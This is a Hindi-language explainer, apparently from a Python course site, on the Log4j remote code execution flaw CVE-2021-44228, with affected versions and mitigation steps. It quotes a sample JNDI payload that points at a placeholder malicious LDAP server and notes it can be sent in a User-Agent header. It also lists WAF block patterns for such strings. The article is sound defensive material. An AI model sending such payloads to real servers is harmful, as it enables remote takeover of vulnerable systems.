Log4j में गंभीर कमजोरी: लाखों Java अनुप्रयोगों के लिए खतरा

शुरुआती लोगों के लिए ऑनलाइन Python प्रशिक्षक

Python आसानी से सीखें बिना सिद्धांत के बोझ के। स्वचालित जांच के साथ व्यावहारिक कार्य हल करें और ब्राउज़र में सीधे कोड लिखें।

पाठ्यक्रम शुरू करें

Log4j में गंभीर कमजोरी: प्रत्येक Java डेवलपर को क्या जानना चाहिए

Java डेवलपमेंट की दुनिया में Log4j लाइब्रेरी में एक गंभीर कमजोरी का पता लगने की खबर ने हलचल मचा दी है - जो लॉगिंग के लिए सबसे लोकप्रिय टूल में से एक है। इस कमजोरी को CVE-2021-44228 पहचानकर्ता दिया गया है, जो हमलावरों को सर्वर पर दूरस्थ कोड (RCE) निष्पादित करने की अनुमति देता है। इसका मतलब है कि हमलावर सिस्टम पर पूर्ण नियंत्रण प्राप्त कर सकता है, डेटा चुरा सकता है या मैलवेयर इंस्टॉल कर सकता है - और इसके लिए उसे केवल लॉग में एक विशेष रूप से तैयार स्ट्रिंग भेजनी होगी।

कमजोरी कैसे काम करती है?

समस्या JNDI (Java Naming and Directory Interface) तंत्र में है, जिसका उपयोग Log4j डिफ़ॉल्ट मानों को प्रतिस्थापित करने के लिए करता है। लाइब्रेरी ${jndi:ldap://दुर्भावनापूर्ण_सर्वर/a} जैसी स्ट्रिंग को प्रोसेस करती है - और लॉग में लिखते समय Java एप्लिकेशन निर्दिष्ट सर्वर से डेटा लोड करने का प्रयास करता है। परिणामस्वरूप, हमलावर सर्वर को मनमाना Java कोड निष्पादित करने के लिए मजबूर कर सकता है।

प्रभावित संस्करण: Log4j 2.x, 2.0-beta9 से 2.14.1 तक शामिल।
प्रभाव का दायरा: हजारों प्रोजेक्ट - Minecraft से लेकर Amazon, Twitter और Cloudflare जैसी कॉर्पोरेट प्रणालियाँ।
शोषण की जटिलता: कम - User-Agent या किसी अन्य फ़ील्ड में दुर्भावनापूर्ण स्ट्रिंग के साथ HTTP अनुरोध भेजना पर्याप्त है।

जोखिम में कौन है?

यह कमजोरी न केवल Log4j के प्रत्यक्ष उपयोगकर्ताओं को प्रभावित करती है, बल्कि उन सभी फ्रेमवर्क को भी प्रभावित करती है जो इस लाइब्रेरी का आंतरिक रूप से उपयोग करते हैं: Apache Struts, Spring Boot, Apache Tomcat, Hibernate और कई अन्य। यदि आपका Java एप्लिकेशन लॉग लिखता है (और कौन सा एप्लिकेशन ऐसा नहीं करता?) - तो आप जोखिम में हैं।

कैसे बचाव करें?

Apache के डेवलपर्स ने पहले ही संस्करण 2.15.0 में एक पैच जारी कर दिया है। हालांकि, कई परियोजनाओं के लिए अपडेट करना एक कठिन कार्य है। यहाँ चरण-दर-चरण मार्गदर्शिका है:

चरण 1: तुरंत Log4j को संस्करण 2.15.0 या उच्चतर पर अपडेट करें। यदि यह संभव नहीं है - तो classpath से JndiLookup क्लास हटाएँ: zip -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
चरण 2: सिस्टम पैरामीटर सेट करें: -Dlog4j2.formatMsgNoLookups=true (संस्करण 2.10+ के लिए)
चरण 3: प्रोजेक्ट की सभी निर्भरताएँ जाँचें - यहाँ तक कि अप्रत्यक्ष भी। mvn dependency:tree या gradle dependencies का उपयोग करें।
चरण 4: ${jndi:, ${ldap: या ${rmi: वाले संदिग्ध अनुरोधों को ब्लॉक करने के लिए WAF (Web Application Firewall) कॉन्फ़िगर करें।

यह Python समुदाय के लिए क्यों महत्वपूर्ण है?

हालाँकि यह कमजोरी Java इकोसिस्टम में पाई गई है, यह सीधे Python डेवलपर्स को भी प्रभावित करती है। कई आधुनिक माइक्रोसर्विस आर्किटेक्चर Java घटकों (जैसे, Apache Kafka, Elasticsearch, Logstash) का उपयोग करते हैं। इसके अलावा, Python एप्लिकेशन अक्सर API के माध्यम से Java सेवाओं के साथ इंटरैक्ट करते हैं - और एक सेवा से समझौता पूरे बुनियादी ढाँचे को खतरे में डाल सकता है।